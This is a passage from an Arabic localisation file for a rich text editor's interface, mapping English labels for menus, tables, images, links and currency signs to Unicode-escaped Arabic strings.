"Default": "\u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a",
"Circle": "\u062f\u0627\u0626\u0631\u0629",
"Disc": "\u0642\u0631\u0635",
"Square": "\u0645\u0631\u0628\u0639",
"Lower Alpha": "\u062a\u0631\u0642\u064a\u0645 \u0623\u062e\u0631\u0641 \u0635\u063a\u064a\u0631\u0629",
"Lower Greek": "\u062a\u0631\u0642\u064a\u0645 \u064a\u0648\u0646\u0627\u0646\u064a \u0635\u063a\u064a\u0631",
"Lower Roman": "\u062a\u0631\u0642\u064a\u0645 \u0631\u0648\u0645\u0627\u0646\u064a \u0635\u063a\u064a\u0631",
"Upper Alpha": "\u062a\u0631\u0642\u064a\u0645 \u0623\u062d\u0631\u0641 \u0643\u0628\u064a\u0631\u0629",
"Upper Roman": "\u062a\u0631\u0642\u064a\u0645 \u0631\u0648\u0645\u0627\u0646\u064a \u0643\u0628\u064a\u0631",
"Anchor...": "\u0645\u0631\u0633\u0627\u0629...",
"Name": "\u0627\u0644\u0627\u0633\u0645",
"Id": "\u0631\u0642\u0645 \u0627\u0644\u0645\u0639\u0631\u0641",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u0631\u0642\u0645 \u0627\u0644\u0645\u0639\u0631\u0641 \u064a\u062c\u0628 \u0623\u0646 \u062a\u0628\u062f\u0623 \u0628\u062d\u0631\u0641\u060c \u064a\u062a\u0628\u0639 \u0641\u0642\u0637 \u0628\u062d\u0631\u0648\u0641 \u0648\u0623\u0631\u0642\u0627\u0645\u060c \u0634\u0631\u0637\u0627\u062a\u060c \u0623\u0648 \u0627\u0644\u0646\u0642\u0627\u0637\u060c \u0627\u0644\u0646\u0642\u0637\u062a\u064a\u0646 \u0623\u0648 \u0627\u0644\u0634\u0631\u0637\u0627\u062a \u0627\u0644\u0633\u0641\u0644\u064a\u0629.",
"You have unsaved changes are you sure you want to navigate away?": "\u0644\u062f\u064a\u0643 \u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0644\u0645 \u064a\u062a\u0645 \u062d\u0641\u0638\u0647\u0627 \u0647\u0644 \u0623\u0646\u062a \u0645\u062a\u0623\u0643\u062f \u0623\u0646\u0643 \u062a\u0631\u063a\u0628 \u0641\u064a \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644 \u0628\u0639\u064a\u062f\u0627\u061f",
"Restore last draft": "\u0627\u0633\u062a\u0639\u0627\u062f\u0629 \u0623\u062e\u0631 \u0645\u0633\u0648\u062f\u0629",
"Special character...": "\u0631\u0645\u0632 \u062e\u0627\u0635...",
"Source code": "\u0634\u0641\u0631\u0629 \u0627\u0644\u0645\u0635\u062f\u0631",
"Insert\/Edit code sample": "\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u0643\u0648\u062f",
"Language": "\u0627\u0644\u0644\u063a\u0629",
"Code sample...": "\u0639\u064a\u0646\u0629 \u0627\u0644\u0631\u0645\u0632...",
"Color Picker": "\u0645\u0646\u062a\u0642\u064a \u0627\u0644\u0623\u0644\u0648\u0627\u0646",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0645\u0646 \u0627\u0644\u064a\u0633\u0627\u0631 \u0644\u0644\u064a\u0645\u064a\u0646",
"Right to left": "\u0645\u0646 \u0627\u0644\u064a\u0645\u064a\u0646 \u0644\u0644\u064a\u0633\u0627\u0631",
"Emoticons...": "\u0631\u0645\u0648\u0632 \u0627\u0644\u0645\u0634\u0627\u0639\u0631...",
"Metadata and Document Properties": "\u062e\u0635\u0627\u0626\u0635 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0648\u0627\u0644\u0645\u0633\u062a\u0646\u062f",
"Title": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646",
"Keywords": "\u0643\u0644\u0645\u0627\u062a \u0627\u0644\u0628\u062d\u062b",
"Description": "\u0627\u0644\u0648\u0635\u0641",
"Robots": "\u0627\u0644\u0631\u0648\u0628\u0648\u062a\u0627\u062a",
"Author": "\u0627\u0644\u0643\u0627\u062a\u0628",
"Encoding": "\u0627\u0644\u062a\u0631\u0645\u064a\u0632",
"Fullscreen": "\u0645\u0644\u0621 \u0627\u0644\u0634\u0627\u0634\u0629",
"Action": "\u0627\u0644\u0639\u0645\u0644\u064a\u0629",
"Shortcut": "\u0627\u0644\u0627\u062e\u062a\u0635\u0627\u0631",
"Help": "\u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629",
"Address": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646",
"Focus to menubar": "\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0634\u0631\u064a\u0637 \u0627\u0644\u0642\u0648\u0627\u0626\u0645",
"Focus to toolbar": "\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a",
"Focus to element path": "\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0645\u0633\u0627\u0631 \u0627\u0644\u0639\u0646\u0635\u0631",
"Focus to contextual toolbar": "\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0634\u0631\u064a\u0637 \u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0633\u064a\u0627\u0642",
"Insert link (if link plugin activated)": "\u0625\u0636\u0627\u0641\u0629 \u0631\u0627\u0628\u0637 (\u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u0631\u0648\u0627\u0628\u0637 \u0645\u0641\u0639\u0644\u0629)",
"Save (if save plugin activated)": "\u062d\u0641\u0638 (\u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u062d\u0641\u0638 \u0645\u0641\u0639\u0644\u0629)",
"Find (if searchreplace plugin activated)": "\u0627\u0644\u0628\u062d\u062b (\u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u0628\u062d\u062b \u0645\u0641\u0639\u0644\u0629)",
"Plugins installed ({0}):": "\u0627\u0644\u0625\u0636\u0627\u0641\u0627\u062a \u0627\u0644\u0645\u062b\u0628\u062a\u0629 ({0}):",
"Premium plugins:": "\u0627\u0644\u0625\u0636\u0627\u0641\u0627\u062a \u0627\u0644\u0645\u0645\u064a\u0632\u0629:",
"Learn more...": "\u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0645\u0632\u064a\u062f...",
"You are using {0}": "\u0623\u0646\u062a \u062a\u0633\u062a\u062e\u062f\u0645 {0}",
"Plugins": "\u0627\u0644\u0625\u0636\u0627\u0641\u0627\u062a",
"Handy Shortcuts": "\u0627\u062e\u062a\u0635\u0627\u0631\u0627\u062a \u0645\u0633\u0627\u0639\u0650\u062f\u0629",
"Horizontal line": "\u062e\u0637 \u0623\u0641\u0642\u064a",
"Insert\/edit image": "\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631 \u0635\u0648\u0631\u0629",
"Image description": "\u0648\u0635\u0641 \u0627\u0644\u0635\u0648\u0631\u0629",
"Source": "\u0627\u0644\u0645\u0635\u062f\u0631",
"Dimensions": "\u0627\u0644\u0623\u0628\u0639\u0627\u062f",
"Constrain proportions": "\u0627\u0644\u062a\u0646\u0627\u0633\u0628",
"General": "\u0639\u0627\u0645",
"Advanced": "\u062e\u0635\u0627\u0626\u0635 \u0645\u062a\u0642\u062f\u0645\u0647",
"Style": "\u0627\u0644\u0646\u0645\u0637 \/ \u0627\u0644\u0634\u0643\u0644",
"Vertical space": "\u0645\u0633\u0627\u0641\u0629 \u0639\u0645\u0648\u062f\u064a\u0629",
"Horizontal space": "\u0645\u0633\u0627\u0641\u0629 \u0623\u0641\u0642\u064a\u0629",
"Border": "\u062d\u062f\u0648\u062f",
"Insert image": "\u0625\u062f\u0631\u0627\u062c \u0635\u0648\u0631\u0629",
"Image...": "\u0635\u0648\u0631\u0629...",
"Image list": "\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0635\u0648\u0631",
"Rotate counterclockwise": "\u062a\u062f\u0648\u064a\u0631 \u0639\u0643\u0633 \u0627\u062a\u062c\u0627\u0647 \u0639\u0642\u0627\u0631\u0628 \u0627\u0644\u0633\u0627\u0639\u0629",
"Rotate clockwise": "\u062a\u062f\u0648\u064a\u0631 \u0641\u064a \u0627\u062a\u062c\u0627\u0647 \u0639\u0642\u0627\u0631\u0628 \u0627\u0644\u0633\u0627\u0639\u0629",
"Flip vertically": "\u0627\u0646\u0639\u0643\u0627\u0633 \u0639\u0627\u0645\u0648\u062f\u064a",
"Flip horizontally": "\u0627\u0646\u0639\u0643\u0627\u0633 \u0623\u0641\u0642\u064a",
"Edit image": "\u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u0635\u0648\u0631\u0629",
"Image options": "\u0627\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0635\u0648\u0631\u0629",
"Zoom in": "\u062a\u0643\u0628\u064a\u0631",
"Zoom out": "\u062a\u0635\u063a\u064a\u0631",
"Crop": "\u0642\u0635",
"Resize": "\u062a\u063a\u064a\u064a\u0631 \u062d\u062c\u0645",
"Orientation": "\u0627\u0644\u0645\u062d\u0627\u0630\u0627\u0629",
"Brightness": "\u0627\u0644\u0625\u0636\u0627\u0621\u0629",
"Sharpen": "\u062d\u0627\u062f\u0629",
"Contrast": "\u0627\u0644\u062a\u0628\u0627\u064a\u0646",
"Color levels": "\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0644\u0648\u0646",
"Gamma": "\u063a\u0627\u0645\u0627",
"Invert": "\u0639\u0643\u0633",
"Apply": "\u062a\u0637\u0628\u064a\u0642",
"Back": "\u0644\u0644\u062e\u0644\u0641",
"Insert date\/time": "\u0625\u062f\u0631\u0627\u062c \u062a\u0627\u0631\u064a\u062e\/\u0648\u0642\u062a",
"Date\/time": "\u0627\u0644\u062a\u0627\u0631\u064a\u062e\/\u0627\u0644\u0648\u0642\u062a",
"Insert\/Edit Link": "\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631 \u0627\u0631\u062a\u0628\u0627\u0637",
"Insert\/edit link": "\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631 \u0631\u0627\u0628\u0637",
"Text to display": "\u0627\u0644\u0646\u0635 \u0627\u0644\u0645\u0637\u0644\u0648\u0628 \u0639\u0631\u0636\u0647",
"Url": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646",
"Open link in...": "\u062c\u0627\u0631\u064d \u0641\u062a\u062d \u0627\u0644\u0627\u0631\u062a\u0628\u0627\u0637.",
"Current window": "\u0627\u0644\u0646\u0627\u0641\u0630\u0629 \u0627\u0644\u062d\u0627\u0644\u064a\u0629",
"None": "\u0628\u0644\u0627",
"New window": "\u0646\u0627\u0641\u0630\u0629 \u062c\u062f\u064a\u062f\u0629",
"Remove link": "\u062d\u0630\u0641 \u0627\u0644\u0631\u0627\u0628\u0637",
"Anchors": "\u0627\u0644\u0645\u0631\u0633\u0627\u0629",
"Link...": "\u0627\u0631\u062a\u0628\u0627\u0637...",
"Paste or type a link": "\u0623\u062f\u062e\u0644 \u0623\u0648 \u0627\u0643\u062a\u0628 \u0627\u0644\u0631\u0627\u0628\u0637",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a \u0642\u0645\u062a \u0628\u0625\u062f\u0631\u0627\u062c\u0647 \u064a\u0634\u0627\u0628\u0647 \u0627\u0644\u0628\u0631\u064a\u062f \u0627\u0644\u0627\u0644\u0643\u062a\u0631\u0648\u0646\u064a. \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u062a\u0636\u064a\u0641 \u0627\u0644\u0644\u0627\u062d\u0642\u0629 mailto: \u0645\u0639\u062a\u0628\u0631\u0627\u064b \u0647\u0630\u0627 \u0627\u0644\u0631\u0627\u0628\u0637 \u0628\u0631\u064a\u062f\u0627 \u0627\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0627\u064b\u061f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0646\u062a\u0648\u0642\u0639 \u0627\u0646\u0643 \u0642\u0645\u062a \u0628\u0625\u062f\u0631\u0627\u062c \u0631\u0627\u0628\u0637 \u0644\u0645\u0648\u0642\u0639 \u062e\u0627\u0631\u062c\u064a. \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u0646\u0636\u064a\u0641 \u0627\u0644\u0644\u0627\u062d\u0642\u0629 http:\/\/ \u0644\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a \u0627\u062f\u062e\u0644\u062a\u0647\u061f",
"Link list": "\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0631\u0648\u0627\u0628\u0637",
"Insert video": "\u0625\u062f\u0631\u0627\u062c \u0641\u064a\u062f\u064a\u0648",
"Insert\/edit video": "\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631 \u0641\u064a\u062f\u064a\u0648",
"Insert\/edit media": "\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u0648\u0633\u0627\u0626\u0637 \u0627\u0644\u0645\u062a\u0639\u062f\u062f\u0629",
"Alternative source": "\u0645\u0635\u062f\u0631 \u0628\u062f\u064a\u0644",
"Alternative source URL": "\u0639\u0646\u0648\u0627\u0646 URL \u0644\u0644\u0645\u0635\u062f\u0631 \u0627\u0644\u0628\u062f\u064a\u0644",
"Media poster (Image URL)": "\u0645\u0644\u0635\u0642 \u0627\u0644\u0648\u0633\u0627\u0626\u0637 (\u0639\u0646\u0648\u0627\u0646 URL \u0644\u0644\u0635\u0648\u0631\u0629)",
"Paste your embed code below:": "\u0644\u0635\u0642 \u0643\u0648\u062f \u0627\u0644\u062a\u0636\u0645\u064a\u0646 \u0647\u0646\u0627:",
"Embed": "\u062a\u0636\u0645\u064a\u0646",
"Media...": "\u0627\u0644\u0648\u0633\u0627\u0626\u0637...",
"Nonbreaking space": "\u0645\u0633\u0627\u0641\u0629 \u063a\u064a\u0631 \u0645\u0646\u0642\u0633\u0645\u0629",
"Page break": "\u0641\u0627\u0635\u0644 \u0644\u0644\u0635\u0641\u062d\u0629",
"Paste as text": "\u0644\u0635\u0642 \u0643\u0646\u0635",
"Preview": "\u0645\u0639\u0627\u064a\u0646\u0629",
"Print...": "\u0637\u0628\u0627\u0639\u0629...",
"Save": "\u062d\u0641\u0638",
"Find": "\u0628\u062d\u062b",
"Replace with": "\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0628\u0640",
"Replace": "\u0627\u0633\u062a\u0628\u062f\u0627\u0644",
"Replace all": "\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0643\u0644",
"Previous": "\u0627\u0644\u0633\u0627\u0628\u0642",
"Next": "\u0627\u0644\u062a\u0627\u0644\u064a",
"Find and replace...": "\u062c\u0627\u0631\u064d \u0627\u0644\u0628\u062d\u062b \u0648\u0627\u0644\u0627\u0633\u062a\u0628\u062f\u0627\u0644...",
"Could not find the specified string.": "\u062a\u0639\u0630\u0631 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0627\u0644\u0643\u0644\u0645\u0629 \u0627\u0644\u0645\u062d\u062f\u062f\u0629",
"Match case": "\u0645\u0637\u0627\u0628\u0642\u0629 \u062d\u0627\u0644\u0629 \u0627\u0644\u0623\u062d\u0631\u0641",
"Find whole words only": "\u0628\u062d\u062b \u0643\u0644\u0645\u0627\u062a \u0628\u0623\u0643\u0645\u0644\u0647\u0627 \u0641\u0642\u0637",
"Spell check": "\u062a\u062f\u0642\u064a\u0642 \u0625\u0645\u0644\u0627\u0626\u064a",
"Ignore": "\u062a\u062c\u0627\u0647\u0644",
"Ignore all": "\u062a\u062c\u0627\u0647\u0644 \u0627\u0644\u0643\u0644",
"Finish": "\u0627\u0646\u062a\u0647\u064a",
"Add to Dictionary": "\u0627\u0636\u0641 \u0627\u0644\u064a \u0627\u0644\u0642\u0627\u0645\u0648\u0633",
"Insert table": "\u0625\u062f\u0631\u0627\u062c \u062c\u062f\u0648\u0644",
"Table properties": "\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u062c\u062f\u0648\u0644",
"Delete table": "\u062d\u0630\u0641 \u062c\u062f\u0648\u0644",
"Cell": "\u062e\u0644\u064a\u0629",
"Row": "\u0635\u0641",
"Column": "\u0639\u0645\u0648\u062f",
"Cell properties": "\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u062e\u0644\u064a\u0629",
"Merge cells": "\u062f\u0645\u062c \u062e\u0644\u0627\u064a\u0627",
"Split cell": "\u062a\u0642\u0633\u064a\u0645 \u0627\u0644\u062e\u0644\u0627\u064a\u0627",
"Insert row before": "\u0625\u062f\u0631\u0627\u062c \u0635\u0641 \u0644\u0644\u0623\u0639\u0644\u0649",
"Insert row after": "\u0625\u062f\u0631\u0627\u062c \u0635\u0641 \u0644\u0644\u0623\u0633\u0641\u0644",
"Delete row": "\u062d\u0630\u0641 \u0635\u0641",
"Row properties": "\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0635\u0641",
"Cut row": "\u0642\u0635 \u0627\u0644\u0635\u0641",
"Copy row": "\u0646\u0633\u062e \u0627\u0644\u0635\u0641",
"Paste row before": "\u0644\u0635\u0642 \u0627\u0644\u0635\u0641 \u0644\u0644\u0623\u0639\u0644\u0649",
"Paste row after": "\u0644\u0635\u0642 \u0627\u0644\u0635\u0641 \u0644\u0644\u0623\u0633\u0641\u0644",
"Insert column before": "\u0625\u062f\u0631\u0627\u062c \u0639\u0645\u0648\u062f \u0644\u0644\u064a\u0633\u0627\u0631",
"Insert column after": "\u0625\u062f\u0631\u0627\u062c \u0639\u0645\u0648\u062f \u0644\u0644\u064a\u0645\u064a\u0646",
"Delete column": "\u062d\u0630\u0641 \u0639\u0645\u0648\u062f",
"Cols": "\u0639\u062f\u062f \u0627\u0644\u0623\u0639\u0645\u062f\u0629",
"Rows": "\u0639\u062f\u062f \u0627\u0644\u0635\u0641\u0648\u0641",
"Width": "\u0639\u0631\u0636",
"Height": "\u0627\u0631\u062a\u0641\u0627\u0639",
"Cell spacing": "\u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0628\u064a\u0646 \u0627\u0644\u062e\u0644\u0627\u064a\u0627",
"Cell padding": "\u062a\u0628\u0627\u0639\u062f \u0627\u0644\u062e\u0644\u064a\u0629",
"Show caption": "\u0625\u0638\u0647\u0627\u0631 \u0627\u0644\u062a\u0633\u0645\u064a\u0629 \u0627\u0644\u062a\u0648\u0636\u064a\u062d\u064a\u0629",
"Left": "\u064a\u0633\u0627\u0631",
"Center": "\u062a\u0648\u0633\u064a\u0637",
"Right": "\u064a\u0645\u064a\u0646",
"Cell type": "\u0646\u0648\u0639 \u0627\u0644\u062e\u0644\u064a\u0629",
"Scope": "\u0627\u0644\u0645\u062c\u0627\u0644",
"Alignment": "\u0645\u062d\u0627\u0630\u0627\u0629",
"H Align": "\u0645\u062d\u0627\u0630\u0627\u0629 \u0623\u0641\u0642\u064a\u0629",
"V Align": "\u0645\u062d\u0627\u0630\u0627\u0629 \u0631\u0623\u0633\u064a\u0629",
"Top": "\u0623\u0639\u0644\u064a",
"Middle": "\u0627\u0644\u0648\u0633\u0637",
"Bottom": "\u0627\u0644\u0623\u0633\u0641\u0644",
"Header cell": "\u0631\u0623\u0633 \u0627\u0644\u062e\u0644\u064a\u0629",
"Row group": "\u0645\u062c\u0645\u0648\u0639\u0629 \u0635\u0641",
"Column group": "\u0645\u062c\u0645\u0648\u0639\u0629 \u0639\u0645\u0648\u062f",
"Row type": "\u0646\u0648\u0639 \u0627\u0644\u0635\u0641",
"Header": "\u0627\u0644\u0631\u0623\u0633",
"Body": "\u0647\u064a\u0643\u0644",
"Footer": "\u062a\u0630\u064a\u064a\u0644",
"Border color": "\u0644\u0648\u0646 \u0627\u0644\u0625\u0637\u0627\u0631",
"Insert template...": "\u062c\u0627\u0631\u064d \u0625\u062f\u0631\u0627\u062c \u0642\u0627\u0644\u0628...",
"Templates": "\u0642\u0648\u0627\u0644\u0628",
"Template": "\u0627\u0644\u0642\u0627\u0644\u0628",
"Text color": "\u0644\u0648\u0646 \u0627\u0644\u0646\u0635",
"Background color": "\u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0629",
"Custom...": "\u062a\u062e\u0635\u064a\u0635 ...",
"Custom color": "\u0644\u0648\u0646 \u0645\u062e\u0635\u0635",
"No color": "\u0628\u062f\u0648\u0646 \u0644\u0648\u0646",
"Remove color": "\u0625\u0632\u0627\u0644\u0629 \u0644\u0648\u0646",
"Table of Contents": "\u062c\u062f\u0648\u0644 \u0627\u0644\u0645\u062d\u062a\u0648\u064a\u0627\u062a",
"Show blocks": "\u0645\u0634\u0627\u0647\u062f\u0629 \u0627\u0644\u0643\u062a\u0644",
"Show invisible characters": "\u0623\u0638\u0647\u0631 \u0627\u0644\u0623\u062d\u0631\u0641 \u0627\u0644\u063a\u064a\u0631 \u0645\u0631\u0626\u064a\u0629",
"Word count": "\u0639\u062f\u062f \u0627\u0644\u0643\u0644\u0645\u0627\u062a",
"Count": "\u0627\u0644\u0639\u062f\u062f",
"Document": "\u0627\u0644\u0645\u0633\u062a\u0646\u062f",
"Selection": "\u0627\u0644\u062a\u062d\u062f\u064a\u062f",
"Words": "\u0627\u0644\u0643\u0644\u0645\u0627\u062a",
"Words: {0}": "\u0627\u0644\u0643\u0644\u0645\u0627\u062a:{0}",
"{0} words": "{0} \u0643\u0644\u0645\u0627\u062a",
"File": "\u0645\u0644\u0641",
"Edit": "\u062a\u062d\u0631\u064a\u0631",
"Insert": "\u0625\u062f\u0631\u0627\u062c",
"View": "\u0639\u0631\u0636",
"Format": "\u062a\u0646\u0633\u064a\u0642",
"Table": "\u062c\u062f\u0648\u0644",
"Tools": "\u0623\u062f\u0627\u0648\u0627\u062a",
"Powered by {0}": "\u0645\u062f\u0639\u0648\u0645 \u0645\u0646 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0645\u0646\u0637\u0642\u0629 \u0646\u0635 \u0645\u0646\u0633\u0642. \u0627\u0636\u063a\u0637 ALT-F9 \u0644\u0644\u0642\u0627\u0626\u0645\u0629. \u0627\u0636\u063a\u0637 ALT-F10 \u0644\u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a. \u0627\u0636\u063a\u0637 ALT-0 \u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0645\u0633\u0627\u0639\u062f\u0629",
"Image title": "\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0635\u0648\u0631\u0629",
"Border width": "\u0639\u0631\u0636 \u0627\u0644\u062d\u062f",
"Border style": "\u0646\u0645\u0637 \u0627\u0644\u062d\u062f",
"Error": "\u062e\u0637\u0623",
"Warn": "\u062a\u062d\u0630\u064a\u0631",
"Valid": "\u0635\u062d\u064a\u062d",
"To open the popup, press Shift+Enter": "\u0644\u0641\u062a\u062d \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0645\u0646\u0628\u062b\u0642\u0629\u060c \u0627\u0636\u063a\u0637 \u0639\u0644\u0649 Shift\u200f+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u0645\u0646\u0637\u0642\u0629 \u0646\u0635 \u0645\u0646\u0633\u0642. \u0627\u0636\u063a\u0637 ALT-0 \u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629.",
"System Font": "\u062e\u0637 \u0627\u0644\u0646\u0638\u0627\u0645",
"Failed to upload image: {0}": "\u0641\u0634\u0644 \u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0635\u0648\u0631\u0629: {0}",
"Failed to load plugin: {0} from url {1}": "\u0641\u0634\u0644 \u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0645\u0643\u0648\u0651\u0650\u0646 \u0627\u0644\u0625\u0636\u0627\u0641\u064a: {0} \u0645\u0646 url \u200f{1}",
"Failed to load plugin url: {0}": "\u0641\u0634\u0644 \u062a\u062d\u0645\u064a\u0644 url \u0644\u0644\u0645\u0643\u0648\u0651\u0650\u0646 \u0627\u0644\u0625\u0636\u0627\u0641\u064a: {0}",
"Failed to initialize plugin: {0}": "\u0641\u0634\u0644\u062a \u062a\u0647\u064a\u0626\u0629 \u0627\u0644\u0645\u0643\u0648\u0651\u0650\u0646 \u0627\u0644\u0625\u0636\u0627\u0641\u064a: {0}",
"example": "\u0645\u062b\u0627\u0644",
"Search": "\u0628\u062d\u062b",
"All": "\u0627\u0644\u0643\u0644",
"Currency": "\u0627\u0644\u0639\u0645\u0644\u0629",
"Text": "\u0627\u0644\u0646\u0635",
"Quotations": "\u0639\u0631\u0648\u0636 \u0627\u0644\u0623\u0633\u0639\u0627\u0631",
"Mathematical": "\u0631\u064a\u0627\u0636\u064a\u0629",
"Extended Latin": "\u0627\u0644\u0644\u0627\u062a\u064a\u0646\u064a\u0629 \u0627\u0644\u0645\u0648\u0633\u0639\u0629",
"Symbols": "\u0627\u0644\u0631\u0645\u0648\u0632",
"Arrows": "\u0627\u0644\u0623\u0633\u0647\u0645",
"User Defined": "\u0645\u0639\u0631\u0651\u064e\u0641 \u0645\u0646 \u0642\u0628\u0644 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645",
"dollar sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u062f\u0648\u0644\u0627\u0631",
"currency sign": "\u0639\u0644\u0627\u0645\u0629 \u0639\u0645\u0644\u0629",
"euro-currency sign": "\u0639\u0644\u0627\u0645\u0629 \u0639\u0645\u0644\u0629 \u0627\u0644\u064a\u0648\u0631\u0648",
"colon sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0646\u0642\u0637\u062a\u064a\u0646",
"cruzeiro sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0643\u0631\u0648\u0632\u064a\u0631\u0648",
"french franc sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0641\u0631\u0646\u0643 \u0627\u0644\u0641\u0631\u0646\u0633\u064a",
"lira sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0644\u064a\u0631\u0629",
"mill sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0645\u0644",
"naira sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0646\u064a\u0631\u0629",
"peseta sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0628\u064a\u0632\u064a\u062a\u0627",
"rupee sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0631\u0648\u0628\u064a\u0629",
"won sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0648\u0646",
"new sheqel sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0634\u064a\u0643\u0644 \u0627\u0644\u062c\u062f\u064a\u062f",
"dong sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u062f\u0648\u0646\u062c",
"kip sign": "\u0639\u0645\u0644\u0629 \u0627\u0644\u0643\u064a\u0628",
"tugrik sign": "\u0639\u0645\u0644\u0629 \u0627\u0644\u062a\u0648\u063a\u0631\u064a\u0643",
"drachma sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u062f\u0631\u0627\u062e\u0645\u0627",
"german penny symbol": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0628\u0646\u0633 \u0627\u0644\u0623\u0644\u0645\u0627\u0646\u064a",
"peso sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0628\u064a\u0632\u0648",
"guarani sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u062c\u0648\u0627\u0631\u0627\u0646\u064a",
"austral sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0623\u0648\u0633\u062a\u0631\u0627\u0644",
"hryvnia sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0647\u0631\u064a\u0641\u0646\u064a\u0627",
"cedi sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0633\u064a\u062f\u064a",
"livre tournois sign": "\u0639\u0644\u0627\u0645\u0629 \u0644\u064a\u0641\u0631 \u062a\u0648\u0631\u0646\u0648\u064a\u0632",
"spesmilo sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0627\u0633\u0628\u064a\u0632\u0645\u0627\u064a\u0644\u0648",
"tenge sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u062a\u064a\u0646\u062c",
"indian rupee sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0631\u0648\u0628\u064a\u0629 \u0627\u0644\u0647\u0646\u062f\u064a\u0629",
"turkish lira sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0644\u064a\u0631\u0629 \u0627\u0644\u062a\u0631\u0643\u064a\u0629",
"nordic mark sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0646\u0648\u0631\u062f\u0643",
"manat sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0645\u0627\u0646\u0627\u062a",
